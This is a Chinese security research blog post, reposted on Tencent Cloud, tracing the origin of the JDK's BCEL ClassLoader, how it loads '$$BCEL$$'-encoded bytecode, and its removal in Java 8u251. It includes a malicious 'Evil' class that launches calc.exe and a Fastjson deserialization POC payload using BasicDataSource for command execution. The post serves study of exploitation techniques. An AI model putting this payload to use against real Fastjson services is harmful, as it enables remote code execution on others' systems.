前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BCEL ClassLoader去哪了

BCEL ClassLoader去哪了

作者头像
phith0n
发布2020-10-27 10:33:45
4.5K0
发布2020-10-27 10:33:45
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

com.sun.org.apache.bcel.internal.util.ClassLoader是常常在构造漏洞利用POC时用到的类。但是,我前几天在写《Java安全漫谈》的时候,偶然发现我环境中的com.sun.org.apache.bcel.internal.util.ClassLoader类找不到了,本文就带大家来找找BCEL ClassLoader。

0x01 BCEL从哪里来

首先,BCEL究竟是什么?它为什么会出现在JDK中?

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

据我(不严谨)的考证,JDK会将BCEL放到自己的代码中,主要原因是为了支撑Java XML相关的功能。准确的来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

JAXP全名是Java API for XML Processing,他是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。

XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

我们尝试用本地的Java(注意需要用Java7或6,使用8将会出现异常)来编译一下hello.xsl:

代码语言:javascript
复制
java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile hello.xsl

可见,从hello.xsl生成了hello.class,反编译这个class即可看到源代码。

不知道大家看到这个代码里的AbstractTranslet会不会有点眼熟?我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,它在defineClass中需要的字节码所对应的基类,就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

其实Java里很多东西是有因果的,TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现,前文说了,XSLT在使用时会先编译成Java字节码,这也就是为什么TemplatesImpl会使用defineClass的原因。

关于XSLT这块的内容比较多,不是本文的重点,我就不细说了。那么这部分内容和BCEL有什么关系呢?

你应该也能猜到了,因为需要“编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正是一个处理字节码的库,所以Apache Xalan是依赖BCEL的。

0x02 BCEL ClassLoader如何使用

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

在ClassLoader#loadClass()中,其会判断类名是否是

BCEL

开头,如果是的话,将会对这个字符串进行decode。具体算法在这里:

代码语言:javascript
复制
  private static class JavaWriter extends FilterWriter {
    public JavaWriter(Writer out) {
      super(out);
    }

    public void write(int b) throws IOException {
      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
        out.write(b);
      } else {
        out.write(ESCAPE_CHAR); // Escape character

        // Special escape
        if(b >= 0 && b < FREE_CHARS) {
          out.write(CHAR_MAP[b]);
        } else { // Normal escape
          char[] tmp = Integer.toHexString(b).toCharArray();

          if(tmp.length == 1) {
            out.write('0');
            out.write(tmp[0]);
          } else {
            out.write(tmp[0]);
            out.write(tmp[1]);
          }
        }
      }
    }

    public void write(char[] cbuf, int off, int len) throws IOException {
      for(int i=0; i < len; i++)
        write(cbuf[off + i]);
    }

    public void write(String str, int off, int len) throws IOException {
      write(str.toCharArray(), off, len);
    }
  }

基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

我们可以编写一个恶意类Evil:

代码语言:javascript
复制
package org.vulhub.fastjson;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:

0x03 BCEL在Fastjson漏洞中的利用

前文介绍了BCEL的来历和用法,那么在实际攻防对抗中,我们是如何认识BCEL的呢?

这就得追溯到Fastjson的反序列化漏洞了。当年Fastjson反序列化漏洞出现后,网络上广泛流传的利用链有下面三个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。

BasicDataSource的利用原理可以参考这篇文章https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html,本文也仅做一个简单的描述。

BasicDataSourcetoString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法:

代码语言:javascript
复制
    protected ConnectionFactory createConnectionFactory() throws SQLException {
        // Load the JDBC driver class
        Driver driverToUse = this.driver;

        if (driverToUse == null) {
            Class<?> driverFromCCL = null;
            if (driverClassName != null) {
                try {
                    try {
                        if (driverClassLoader == null) {
                            driverFromCCL = Class.forName(driverClassName);
                        } else {
                            driverFromCCL = Class.forName(
                                    driverClassName, true, driverClassLoader);
                        }
                        ...

createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader)。有读过我的《Java安全漫谈》第一篇文章的同学应该对Class.forName还有印象,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

因为driverClassLoaderdriverClassName都可以通过fastjson控制,所以只要找到一个可以利用的恶意类即可。

BCEL ClassLoader闪亮登场。第二章中我们已经演示过com.sun.org.apache.bcel.internal.util.ClassLoader是如何加载字节码并执行命令的,这里只是将前文的loadClass变成了Class.forName

综上,我们可以构造一个Fastjson的POC:

代码语言:javascript
复制
{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

触发反序列化命令执行:

0x04 BCEL去哪了

同样的代码,如果在Java 8u261下执行,则会出现一个异常:

查看原因,发现是com.sun.org.apache.bcel.internal.util.ClassLoader这个类不在了,查看源码确实没有了。

翻一下Java的更新日志,可以发现在8u251的时候,曾有过一个BCEL相关的更新:https://www.oracle.com/java/technologies/javase/8u251-bugfixes.html

点issue可以发现其创建于2016年8月,但是在2020年才被正式修改。他的描述是:

BCEL 6.0 has been released at Apache Commons on 7/16/, refer to the common page: https://commons.apache.org/proper/commons-bcel/ and release notes: https://archive.apache.org/dist/commons/bcel/RELEASE-NOTES.txt We should evaluate and upgrade to the latest release from the current version 5.2 in the JDK.

其实就是把BCEL的依赖升级到6.0了。难道是BCEL 6.0之后这个ClassLoader被删除了吗?

我登录Apache Commons BCEL官网,下载了多个6.x的代码,发现ClassLoader都是存在的:

这就十分奇怪了。

不过,我在BCEL的Issue中找到了这么一个:https://issues.apache.org/jira/browse/BCEL-110

其修复方法就是简单粗暴地删除了src/main/java/org/apache/commons/bcel6/util/ClassLoader.java

但是,为什么在官网下载的源码包中又存在这个类呢?我继而又翻到了两个有趣的提交:

在2015年的时候,曾有过这么一个issue:https://issues.apache.org/jira/browse/BCEL-222,提出修改bcel命名空间为bcel6。但是在2016年6月,又将所有的修改全部改了回去。

这时注意了,仔细查看之前的ClassLoader.java被删除的那条记录你会发现,删除的时候是在2015年8月,且目录中的文件夹名字是bcel6。也就是说,刚好是被改后的这段时间,然而因为2016年那次的revert ,这个改动也被撤回了……

所以你在官网里下载的BCEL中,ClassLoader是存在的。

那么为什么Java内的ClassLoader没有了呢?我觉得只有两个可能性:

  • Java在升级BCEL的时候注意到了前面那个issue,并参考它的修复方式重新将ClassLoader删除了
  • Java将BCEL升级到6.0时用的是一个删除了ClassLoader版本的BCEL(但无法解释为何命名空间不是bcel6)

所以,很遗憾,在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。所以,之后测试fastjson反序列化,记得这里有个坑。

参考链接:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 BCEL从哪里来
  • 0x02 BCEL ClassLoader如何使用
  • 0x03 BCEL在Fastjson漏洞中的利用
  • 0x04 BCEL去哪了
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档